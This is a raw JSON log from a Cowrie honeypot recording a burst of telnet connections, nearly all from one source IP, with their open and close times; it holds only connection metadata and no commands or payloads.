{"eventid":"cowrie.session.closed","duration":31.810012102127075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:05.790462Z","src_ip":"23.111.140.22","session":"2d29f7254d0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49464,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4daa2e31ffe","protocol":"telnet","message":"New connection: 23.111.140.22:49464 (10.17.0.5:23) [session: f4daa2e31ffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:05.916745Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49966,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecf75c108376","protocol":"telnet","message":"New connection: 23.111.140.22:49966 (10.17.0.5:23) [session: ecf75c108376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:06.070560Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47248,"dst_ip":"10.17.0.5","dst_port":23,"session":"43059c4901aa","protocol":"telnet","message":"New connection: 23.111.140.22:47248 (10.17.0.5:23) [session: 43059c4901aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:06.146527Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50576,"dst_ip":"10.17.0.5","dst_port":23,"session":"d01dbb835669","protocol":"telnet","message":"New connection: 23.111.140.22:50576 (10.17.0.5:23) [session: d01dbb835669]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:06.306768Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50720,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b6959b70af8","protocol":"telnet","message":"New connection: 23.111.140.22:50720 (10.17.0.5:23) [session: 5b6959b70af8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:06.354212Z"}
{"eventid":"cowrie.session.closed","duration":30.91265034675598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:06.385774Z","src_ip":"23.111.140.22","session":"7d9fcf5da9a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50988,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bcd8b4f11b4","protocol":"telnet","message":"New connection: 23.111.140.22:50988 (10.17.0.5:23) [session: 7bcd8b4f11b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:06.448432Z"}
{"eventid":"cowrie.session.closed","duration":31.086978912353516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:06.668787Z","src_ip":"23.111.140.22","session":"46f50d9411ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:06.728174Z","src_ip":"202.145.0.61","session":"fa55809b1cbb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52898,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d8e22174f04","protocol":"telnet","message":"New connection: 23.111.140.22:52898 (10.17.0.5:23) [session: 2d8e22174f04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:07.049743Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51096,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ac092a9adfb","protocol":"telnet","message":"New connection: 23.111.140.22:51096 (10.17.0.5:23) [session: 6ac092a9adfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:07.492696Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53154,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cc4b25e3c48","protocol":"telnet","message":"New connection: 23.111.140.22:53154 (10.17.0.5:23) [session: 8cc4b25e3c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:08.195228Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56512,"dst_ip":"10.17.0.5","dst_port":23,"session":"753fd1bfce96","protocol":"telnet","message":"New connection: 23.111.140.22:56512 (10.17.0.5:23) [session: 753fd1bfce96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:08.359892Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57168,"dst_ip":"10.17.0.5","dst_port":23,"session":"75e4978e8a07","protocol":"telnet","message":"New connection: 23.111.140.22:57168 (10.17.0.5:23) [session: 75e4978e8a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:08.597162Z"}
{"eventid":"cowrie.session.closed","duration":46.81697702407837,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:09.188420Z","src_ip":"23.111.140.22","session":"144e36f07ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57528,"dst_ip":"10.17.0.5","dst_port":23,"session":"fac3dda9e99a","protocol":"telnet","message":"New connection: 23.111.140.22:57528 (10.17.0.5:23) [session: fac3dda9e99a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:09.720843Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33980,"dst_ip":"10.17.0.5","dst_port":23,"session":"c039925353a1","protocol":"telnet","message":"New connection: 23.111.140.22:33980 (10.17.0.5:23) [session: c039925353a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:10.283152Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59584,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ad726e885c2","protocol":"telnet","message":"New connection: 23.111.140.22:59584 (10.17.0.5:23) [session: 8ad726e885c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:10.416066Z"}
{"eventid":"cowrie.session.closed","duration":31.7649347782135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:10.740506Z","src_ip":"23.111.140.22","session":"6ec2a62435c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37166,"dst_ip":"10.17.0.5","dst_port":23,"session":"22941dece946","protocol":"telnet","message":"New connection: 23.111.140.22:37166 (10.17.0.5:23) [session: 22941dece946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:11.380090Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56728,"dst_ip":"10.17.0.5","dst_port":23,"session":"f05fc7bbd75c","protocol":"telnet","message":"New connection: 23.111.140.22:56728 (10.17.0.5:23) [session: f05fc7bbd75c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:11.446079Z"}
{"eventid":"cowrie.session.closed","duration":30.535954236984253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:11.485844Z","src_ip":"23.111.140.22","session":"520fc088e0fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34584,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c8cd888468f","protocol":"telnet","message":"New connection: 23.111.140.22:34584 (10.17.0.5:23) [session: 2c8cd888468f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:11.498524Z"}
{"eventid":"cowrie.session.closed","duration":31.63678550720215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:11.639452Z","src_ip":"23.111.140.22","session":"7c7abe15b19b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.22996115684509,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:11.792467Z","src_ip":"23.111.140.22","session":"343bb4a2a6d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.572258234024048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:11.989624Z","src_ip":"23.111.140.22","session":"c31c906b786c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921663761138916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:12.798415Z","src_ip":"23.111.140.22","session":"64a2b134dba6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.161520957946777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:12.878525Z","src_ip":"23.111.140.22","session":"4350dedbbffa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41878,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa558e725a9","protocol":"telnet","message":"New connection: 23.111.140.22:41878 (10.17.0.5:23) [session: ffa558e725a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:13.037107Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39659,"dst_ip":"10.17.0.5","dst_port":23,"session":"113dfde8a17a","protocol":"telnet","message":"New connection: 23.111.140.22:39659 (10.17.0.5:23) [session: 113dfde8a17a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:13.285300Z"}
{"eventid":"cowrie.session.closed","duration":31.639496564865112,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:13.467590Z","src_ip":"23.111.140.22","session":"aac0310eb7ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43340,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e0b21909d19","protocol":"telnet","message":"New connection: 23.111.140.22:43340 (10.17.0.5:23) [session: 4e0b21909d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:13.553049Z"}
{"eventid":"cowrie.session.closed","duration":33.27186632156372,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:14.496532Z","src_ip":"23.111.140.22","session":"a0699f63c95d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.279066801071167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:14.797639Z","src_ip":"23.111.140.22","session":"cc5dd6275f6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44580,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6e2c1c68c53","protocol":"telnet","message":"New connection: 23.111.140.22:44580 (10.17.0.5:23) [session: f6e2c1c68c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:14.985254Z"}
{"eventid":"cowrie.session.closed","duration":30.202568769454956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:15.032001Z","src_ip":"23.111.140.22","session":"4a2fb4e0a4f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48602,"dst_ip":"10.17.0.5","dst_port":23,"session":"4980284507e4","protocol":"telnet","message":"New connection: 23.111.140.22:48602 (10.17.0.5:23) [session: 4980284507e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:15.462248Z"}
{"eventid":"cowrie.session.closed","duration":31.12655234336853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:15.539636Z","src_ip":"23.111.140.22","session":"ad7aeb2fa65f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.5143301486969,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:15.760611Z","src_ip":"23.111.140.22","session":"afb8a251f304","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.20122456550598,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:16.052626Z","src_ip":"23.111.140.22","session":"244ff179d058","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.757030487060547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:16.342542Z","src_ip":"23.111.140.22","session":"c3cdfc3fa7c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.526508808135986,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:16.372418Z","src_ip":"23.111.140.22","session":"53be3b2dcb4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.95.171","src_port":49172,"dst_ip":"159.203.135.109","dst_port":23,"session":"32eb062d7326","protocol":"telnet","message":"New connection: 103.86.95.171:49172 (159.203.135.109:23) [session: 32eb062d7326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:16.416247Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50246,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3da56ff6eb","protocol":"telnet","message":"New connection: 23.111.140.22:50246 (10.17.0.5:23) [session: 5d3da56ff6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:16.660919Z"}
{"eventid":"cowrie.session.closed","duration":0.0051975250244140625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:16.665949Z","src_ip":"23.111.140.22","session":"5d3da56ff6eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52104,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc9444d2d8cf","protocol":"telnet","message":"New connection: 23.111.140.22:52104 (10.17.0.5:23) [session: cc9444d2d8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:16.722327Z"}
{"eventid":"cowrie.session.closed","duration":30.47098135948181,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:17.353490Z","src_ip":"23.111.140.22","session":"dbe0752419db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03046488761902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:17.837665Z","src_ip":"23.111.140.22","session":"03205ab1a1b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.250930070877075,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:17.848712Z","src_ip":"23.111.140.22","session":"adadd69c9d61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56188,"dst_ip":"10.17.0.5","dst_port":23,"session":"529bfa9edf90","protocol":"telnet","message":"New connection: 23.111.140.22:56188 (10.17.0.5:23) [session: 529bfa9edf90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:18.036370Z"}
{"eventid":"cowrie.session.closed","duration":32.05023002624512,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:18.087760Z","src_ip":"23.111.140.22","session":"4156bc3d848d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56410,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4a390b67913","protocol":"telnet","message":"New connection: 23.111.140.22:56410 (10.17.0.5:23) [session: d4a390b67913]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:18.132584Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56824,"dst_ip":"10.17.0.5","dst_port":23,"session":"d97887618660","protocol":"telnet","message":"New connection: 23.111.140.22:56824 (10.17.0.5:23) [session: d97887618660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:18.281927Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54650,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f0b437c08eb","protocol":"telnet","message":"New connection: 23.111.140.22:54650 (10.17.0.5:23) [session: 9f0b437c08eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:18.566125Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59244,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cf5c1dfe7ea","protocol":"telnet","message":"New connection: 23.111.140.22:59244 (10.17.0.5:23) [session: 6cf5c1dfe7ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:19.047541Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59394,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba1438ae2e42","protocol":"telnet","message":"New connection: 23.111.140.22:59394 (10.17.0.5:23) [session: ba1438ae2e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:19.109361Z"}
{"eventid":"cowrie.session.closed","duration":30.37120532989502,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:19.293135Z","src_ip":"23.111.140.22","session":"d5c83ceb4edb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.614383459091187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:19.448541Z","src_ip":"23.111.140.22","session":"521ded25c858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60478,"dst_ip":"10.17.0.5","dst_port":23,"session":"b20925a0c70b","protocol":"telnet","message":"New connection: 23.111.140.22:60478 (10.17.0.5:23) [session: b20925a0c70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:19.499167Z"}
{"eventid":"cowrie.session.closed","duration":33.96933698654175,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:19.593945Z","src_ip":"23.111.140.22","session":"921471022da0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58724,"dst_ip":"10.17.0.5","dst_port":23,"session":"63673b8bec34","protocol":"telnet","message":"New connection: 23.111.140.22:58724 (10.17.0.5:23) [session: 63673b8bec34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:19.898970Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59120,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5af6b85f514","protocol":"telnet","message":"New connection: 23.111.140.22:59120 (10.17.0.5:23) [session: b5af6b85f514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:20.026446Z"}
{"eventid":"cowrie.session.closed","duration":30.34543776512146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:20.068494Z","src_ip":"23.111.140.22","session":"524074f7d1e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38378,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3e1f7844af2","protocol":"telnet","message":"New connection: 23.111.140.22:38378 (10.17.0.5:23) [session: d3e1f7844af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:21.531446Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51824,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ae4a46d779f","protocol":"telnet","message":"New connection: 23.111.140.22:51824 (10.17.0.5:23) [session: 8ae4a46d779f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:23.043483Z"}
{"eventid":"cowrie.session.closed","duration":30.888108491897583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:23.114444Z","src_ip":"23.111.140.22","session":"dadee3054eb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44532,"dst_ip":"10.17.0.5","dst_port":23,"session":"efb6063fb9f6","protocol":"telnet","message":"New connection: 23.111.140.22:44532 (10.17.0.5:23) [session: efb6063fb9f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:23.531725Z"}
{"eventid":"cowrie.session.closed","duration":34.302640199661255,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:23.991558Z","src_ip":"23.111.140.22","session":"5ecf1c97eb01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":46424,"dst_ip":"10.17.0.5","dst_port":23,"session":"993c546a0bcb","protocol":"telnet","message":"New connection: 23.111.140.22:46424 (10.17.0.5:23) [session: 993c546a0bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:24.147474Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44250,"dst_ip":"10.17.0.5","dst_port":23,"session":"456a3fa7e011","protocol":"telnet","message":"New connection: 23.111.140.22:44250 (10.17.0.5:23) [session: 456a3fa7e011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:24.418755Z"}
{"eventid":"cowrie.session.closed","duration":30.32689356803894,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:25.103415Z","src_ip":"23.111.140.22","session":"cb02ee4655cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26100516319275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:25.631465Z","src_ip":"23.111.140.22","session":"511ae520c613","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.515042543411255,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:26.119012Z","src_ip":"23.111.140.22","session":"b963054109b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50718,"dst_ip":"10.17.0.5","dst_port":23,"session":"187356fea232","protocol":"telnet","message":"New connection: 23.111.140.22:50718 (10.17.0.5:23) [session: 187356fea232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:26.563918Z"}
{"eventid":"cowrie.session.closed","duration":31.068071365356445,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:26.599592Z","src_ip":"23.111.140.22","session":"7887150bb16a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03449249267578,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:26.784183Z","src_ip":"23.111.140.22","session":"5712aca2723d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23619294166565,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:27.513470Z","src_ip":"23.111.140.22","session":"16cf86a0329a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4484806060791,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:27.624033Z","src_ip":"23.111.140.22","session":"2c6fc96d433d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57358,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8708858ca14","protocol":"telnet","message":"New connection: 23.111.140.22:57358 (10.17.0.5:23) [session: a8708858ca14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:27.658922Z"}
{"eventid":"cowrie.session.closed","duration":30.709778785705566,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:28.234358Z","src_ip":"23.111.140.22","session":"a87f57a0fbdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.6072678565979,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:21:28.417411Z","src_ip":"23.111.140.22","session":"23610d16d513","protocol":"telnet"}
